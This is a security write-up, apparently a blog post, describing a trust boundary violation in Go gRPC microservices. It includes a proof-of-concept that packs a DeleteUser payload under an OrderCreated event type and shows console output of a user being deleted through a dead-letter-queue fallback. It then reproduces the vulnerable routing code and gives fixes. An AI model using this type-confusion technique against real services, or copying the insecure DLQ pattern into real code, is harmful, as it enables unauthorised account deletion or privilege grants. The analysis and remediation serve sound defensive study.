Trust Boundary Violation in gRPC gateways

Encountered an interesting case about Trust Boundary Violation. Microservices are written in Golang. Code examples have been slightly modified.

Description

Initially, there are many microservices running, but we're only interested in Gateway, AdminService, DeadLetterQueue, and OrderService. Data is transmitted via gRPC.

Example Proto schema:

syntax = "proto3";

// root of the problem
message EventEnvelope {
    string event_id = 1;
    string event_type = 2;           // logical event type
    google.protobuf.Any payload = 3; // actual type — can be anything
}

// Order event
message OrderCreated {
    string order_id = 1;
    string user_id = 2;
    double amount = 3;
    string currency = 4;
}

// Admin event
message DeleteUser {
    string user_id = 1;
    string reason = 2;
}

message GrantAdminRole {
    string target_user_id = 1;
    string role = 2;
}

// Response
message EventResponse {
    bool success = 1;
    string message = 2;
}

EventEnvelope with google.protobuf.Any is the common schema from a corporate protobuf repository. It's used by 50 microservices. It cannot be changed — otherwise everything will break.

Attack

Take an existing user in the system.
Create a payloadAny with our user and a events.DeleteUser deletion event.
Create a maliciousEnvelope but specify EventType: "OrderCreated", and add our user to be deleted in the Payload.
Then marshal everything into rawBytes and send.

Example

import (
    "log"
    "fmt"

    pb "type_confusion/generated"

    "google.golang.org/protobuf/proto"
    "google.golang.org/protobuf/types/known/anypb"
)

victimUserId := "user-67890" // Any existing user

deleteUser := &pb.DeleteUser{
    UserId: victimUserId,
    Reason: "Account compromised — security measure", // Write any reason
}

payloadAny, err := anypb.New(deleteUser)
if err != nil {
    log.Fatalf("Failed to pack: %v", err)
}

maliciousEnvelope := &pb.EventEnvelope{
    EventId:   "evt-malicious-001",
    EventType: "OrderCreated",
    Payload:   payloadAny,
}

rawBytes, err := proto.Marshal(maliciousEnvelope)
if err != nil {
    log.Fatalf("Failed to marshal: %v", err)
}

fmt.Printf("Target user: %s\n", victimUserId)
fmt.Printf("event_type: %s\n", maliciousEnvelope.EventType)
fmt.Printf("payload.@type: %s\n", payloadAny.TypeUrl)
fmt.Println("Sending to Gateway...")

response, err := gateway.ProcessEvent(rawBytes)
if err != nil {
    fmt.Printf("Gateway error: %v\n", err)
} else {
    fmt.Printf("Response: success=%v, message=%s\n", response.Success, response.Message)
}

And the console outputs:

Target user: user-67890
event_type: OrderCreated
payload.@type: type.googleapis.com/events.DeleteUser
Sending to Gateway...
Response: success=true, message=User user-67890 deleted

No errors occurred, the user was successfully deleted — even though we created an OrderCreated event. Interesting why.

Analysis

The maliciousEnvelope contains data that is passed further:

(*maliciousEnvelope).EventId = evt-malicious-001"
(*maliciousEnvelope).EventType = "OrderCreated"
(*maliciousEnvelope).Payload = [
    (*(*maliciousEnvelope).Payload).TypeUrl = "type.googleapis.com/events.DeleteUser"
    ...
]

From maliciousEnvelope to rawBytes — we serialize the protobuf message in binary format and send it to the ProcessEvent method in the Gateway service.

Let's look into Gateway and find ProcessEvent:

func (g *GatewayWithDLQ) ProcessEvent(rawBytes []byte) (*pb.EventResponse, error) {
    envelope := &pb.EventEnvelope{}
    if err := proto.Unmarshal(rawBytes, envelope); err != nil {
        return nil, fmt.Errorf("failed to unmarshal: %w", err)
    }

    var response *pb.EventResponse
    var err error

    switch envelope.EventType {
    case "OrderCreated":
        response, err = g.orderService.HandleOrderCreated(envelope) // <-- We land here
    case "DeleteUser":
        response, err = g.adminService.HandleDeleteUser(envelope)
    default:
        return nil, fmt.Errorf("failed EventType: %s", envelope.EventType)
    }

    // Forward to DLQ Worker for reprocessing
    if err != nil || !response.Success {
        log.Printf("[Gateway] OrderService failed, forwarding to DLQ Worker")
        return g.dlqWorker.ReprocessEvent(envelope)
    }

    return response, nil
}

This is correct — since our EventType = OrderCreated, we go to the OrderService's HandleOrderCreated method.

Let's look into OrderService and find HandleOrderCreated:

func (s *OrderService) HandleOrderCreated(envelope *pb.EventEnvelope) (*pb.EventResponse, error) {
    order := &pb.OrderCreated{}
    if err := envelope.Payload.UnmarshalTo(order); err != nil {
        log.Printf("[OrderService] ERROR: %v — sending to DLQ", err)
        return &pb.EventResponse{
            Success: false,
            Message: fmt.Sprintf("payload error, sent to DLQ: %v", err),
        }, err // <-- event is not lost, it will go to DLQ
    }

    log.Printf("[OrderService] Processing order: %s for user %s", order.OrderId, order.UserId)
    return &pb.EventResponse{
        Success: true,
        Message: fmt.Sprintf("Order %s processed", order.OrderId),
    }, nil
}

Here we catch the error: "mismatched message type: got \"events.OrderCreated\", want \"events.DeleteUser\"". But when we pass the error upstream, and since the event is legitimate in structure, we place it into DeadLetterQueue for re-delivery.

Let's look into DeadLetterQueue's ReprocessEvent function, which resends the event:

func (w *DLQWorker) ReprocessEvent(envelope *pb.EventEnvelope) (*pb.EventResponse, error) {
    payload := envelope.Payload
    log.Printf("[DLQ Worker] Trying to reprocess event: id=%s, original_type=%s, payload_type=%s",
        envelope.EventId, envelope.EventType, payload.TypeUrl)

    // Try OrderCreated (original type)
    orderEvent := &pb.OrderCreated{}
    if payload.MessageIs(orderEvent) {
        if err := payload.UnmarshalTo(orderEvent); err == nil {
            log.Printf("[DLQ Worker] Recognized as OrderCreated, forwarding to OrderService")
            return w.orderService.HandleOrderCreated(envelope)
        }
    }

    // Try DeleteUser
    deleteEvent := &pb.DeleteUser{}
    if payload.MessageIs(deleteEvent) {
        if err := payload.UnmarshalTo(deleteEvent); err == nil {
            log.Printf("[DLQ Worker] Recognized as DeleteUser, forwarding to AdminService")
            return w.adminService.HandleDeleteUser(envelope)
        }
    }

    // Try GrantAdminRole
    grantEvent := &pb.GrantAdminRole{}
    if payload.MessageIs(grantEvent) {
        if err := payload.UnmarshalTo(grantEvent); err == nil {
            log.Printf("[DLQ Worker] Recognized as GrantAdminRole, forwarding to AdminService")
            return w.adminService.HandleGrantAdminRole(envelope)
        }
    }

    // Nothing matched — send to "dead" archive
    return &pb.EventResponse{
        Success: false,
        Message: fmt.Sprintf("unrecognized payload type: %s", payload.TypeUrl),
    }, nil
}

Here we see that the service only works with the payload and attempts to send the event to different services. Since the payload contains a user deletion, payload.MessageIs(deleteEvent) succeeds, and the deletion event is sent to AdminService.

Conclusion

We have a chain of 4 services:

Gateway → OrderService → DeadLetterQueue → AdminService

OrderService implicitly "sanitizes" data simply by its own existence. The DLQ Worker assumes: "since the event passed through OrderService, it must be legitimate." But OrderService never validated payload.@type — it only checked the event_type string and failed on unpacking.

The DLQ Worker resides inside the trusted perimeter and does not expect an attack. It accepts data from OrderService as a trusted source, but that data was never sanitized.

[EXTERNAL PERIMETER]
       │
       ▼
    Gateway ── checks event_type (string), routes
       │
       ▼
 OrderService ── attempts to unpack, fails, forwards to DLQ
       │
       ▼
══════════════ TRUST BOUNDARY VIOLATION ══════════════
       │
       ▼
     DLQ ────── trusts data from OrderService, iterates over types
       │
       ▼
 AdminService ── executes DeleteUser without source validation

OrderService acts as a trust boundary crossing point but does not perform full sanitization. The internal DLQ Worker processes the unvalidated Any as legitimate input, allowing the attacker to execute arbitrary operations in AdminService. Gateway and OrderService must sanitize data when crossing the trust boundary. They don't — and the attack propagates through the entire chain.

What needs to be done:

Gateway — Validate both event_type and payload.@type. The single external entry point — this is where the trust boundary must be enforced.
OrderService — Remove DLQ forwarding on unpacking errors. Validation error = reject the event, don't "help".
DLQ Worker — Accept only from trusted senders + strictly validate payload.@type against an allowlist. Protection against internal attacks.